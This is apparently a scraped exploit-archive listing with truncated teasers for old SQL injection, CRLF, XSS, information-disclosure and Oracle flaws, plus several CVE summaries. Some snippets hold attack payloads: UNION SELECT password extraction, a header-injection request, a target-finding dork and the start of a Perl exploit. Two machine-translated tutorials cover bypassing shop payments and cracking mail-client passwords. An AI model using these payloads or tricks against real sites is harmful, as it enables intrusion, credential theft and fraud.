iG Shop 1.4 - 'page.php' SQL Injection

Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

iG Shop 1.4 - page.php SQL Injection

iG Shop 1.4 - page.php SQL Injection Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

Drake CMS (v0.4.0) - CRLF Injection Vulnerability

Drake CMS v0.4.0 - CRLF Injection Vulnerability Vulnerable files: index.php HTTP Request: ------------- POST /index.php?lang=0d0aINJECTEDHEADER3Ainjecteddata HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Browser/1.0 compatible; MSIE 6.0; Windows NT 5.0; .NET CLR...

AspWebCalendar 4.5 - eventid SQL Injection

AspWebCalendar 4.5 - eventid SQL Injection Title : aspWebCalendar Remote SQL Injection Vulnerability Author : parad0x Contact : : D.Page : http://www.scriptdungeon.com/script.php?ScriptID=4306 $$ : free S.Page : http://fullrevolution.com http://target/path/calendar.asp?action=viewevent&eventid=SQ...

Online Web Building v2.0 (id) Remote SQL Injection

---------------------------------------------------------------------- Online Web Building v2.0 id Remote SQL Injection ----------------------------------------------------------------------- Bulan: xoron ----------------------------------------------------------------------- Download:...

dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability

Title : dB Masters' Curium CMS = 1.03cid Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.dbmasters.net $$ : Free Dork : Powered by dB Masters' Curium CMS 1 DorkEx : http://www.google.com.tr/search?q=Powered+by+dB+Masters27+Curium+CMS+1&hl=tr&start=0&sa=N In...

PHP Membership Manager Cross-Site Scripting Vulnerability

PHP Membership Manager Cross-Site Scripting Vulnerability PHP Membership Manager is a browser based tool which allows a site owner to easily manage an unlimited number of username / password accounts and groups which access secure, protected areas of a web site which require logging in before...

CVE-2006-6350

listpics 5 stores sensitive data under the web root with insufficient access control, which allows remote attackers to download a database via a direct request for listpics.mdb...

Pass to eat all the Mall-vulnerability warning-the black bar safety net

Tutorial content: Today to teach you a pass to kill the Mall method! of! Is actually change the idea of it!!!! Very simple!! To prepare a site Hunter. Pony. The Malaysian one!! We first go to open site Hunter! Search below this paragraph!! Keywords: To buy-cart-go to the cashier-confirm consignee...

CVE-2006-5702

TikiWiki 1.9.5 is affected by an information-disclosure vulnerability where an empty sort_mode parameter in multiple pages (e.g., tiki-lastchanges.php, tiki-listpages.php, tiki-forums.php, tiki-view_forum.php, tiki-manager pages) causes database credentials (MySQL username and password) to be exp...

Invision Power Board 2.1 < 2.1.6 - SQL Injection (1)

!/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left...

CVE-2006-3557

CVE-2006-3557 affects MT Orumcek Toplist 2.2, which stores DB/orumcektoplist.mdb under the web root with insufficient access control, enabling remote attackers to obtain sensitive information via a direct request. The cited CVSSv2 base score is 5.0 (Network, Low attack complexity, No authenticati...

CVE-2006-2948

Technical details about CVE-2006-2948 are not provided in the connected documents; only the generic description is available. Monitor for updates from official advisories.

Collateral: the use of tools to crack Foxmail password-vulnerability warning-the black bar safety net

Foxmail in the country has a large number of users due to various reasons, many users need to Foxmail inside of email messages, email account settings, etc. transferred to other E-mail software, or forgot the account password, email password and put your own lock on the door. However, due to the...

mybb111.txt

---------------------------------- Foud By: Breeeeh & CrAzY CrAcKeR Site: www.alshmokh.com Email:[email protected] ---------------------------------- $query = $db-query"SELECT FROM ".TABLEPREFIX."forums f WHERE 1=1 $forumlist"; $comma = " - "; while$forum = $db-fetcharray$query $title .=...

Aztek Forum 4.00 - Cross-Site Scripting SQL Injection

Aztek Forum 4.00 - Cross-Site Scripting SQL Injection /==========================================/ // AZTEK forums 4.0 multiple vulnerabilities PoC // Product: AZTEK forums // URL: http://www.forum-aztek.com/ // RISK: high /==========================================/ PoC 1- XSS - Post a message...

Fantastic Scripts Fantastic News 2.1.1 - news.php SQL Injection

Fantastic Scripts Fantastic News 2.1.1 - news.php SQL Injection source: https://www.securityfocus.com/bid/15622/info Fantastic News is prone to an SQL injection vulnerability. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permi...

CVE-2005-3794

CVE-2005-3794 concerns AlstraSoft Affiliate Network Pro 7.2, where remote attackers can disclose sensitive information by issuing direct requests to scripts such as togateway.php (and other unspecified scripts). The linked sources consistently describe information disclosure without detailing spe...

[Full-disclosure] Exploit Oracle DB27 - CPU Octobre

Exploit Oracle DB27 SQL exec sys.pbsde.init'AA',TRUE,'MARYANNDAVIDSONMARYANNDAVIDSONMARYA NNDAVIDSONMARYANNDAVIDSONMARYANNDAVIDSONMARYANNDAVIDSONMA RYANNDAVIDSONMARYANNDAVIDSONMARYANNDAVIDSONMARYANNDAVIDSO NMARYANNDAVIDSONMARYANNDAVIDSON',NULL; BEGIN...

PaFileDB31SQL.txt

SePro Advisory 5 PaFileDB 3.1 - SQL-Injection =========================================================== Vendor: PhpArena URL: http://www.phparena.net/ Date: 17.08.05 App.: PaFileDB Version: 3.1 Type: SQL-Injection Risc: High Credits: ================================ Newangels &...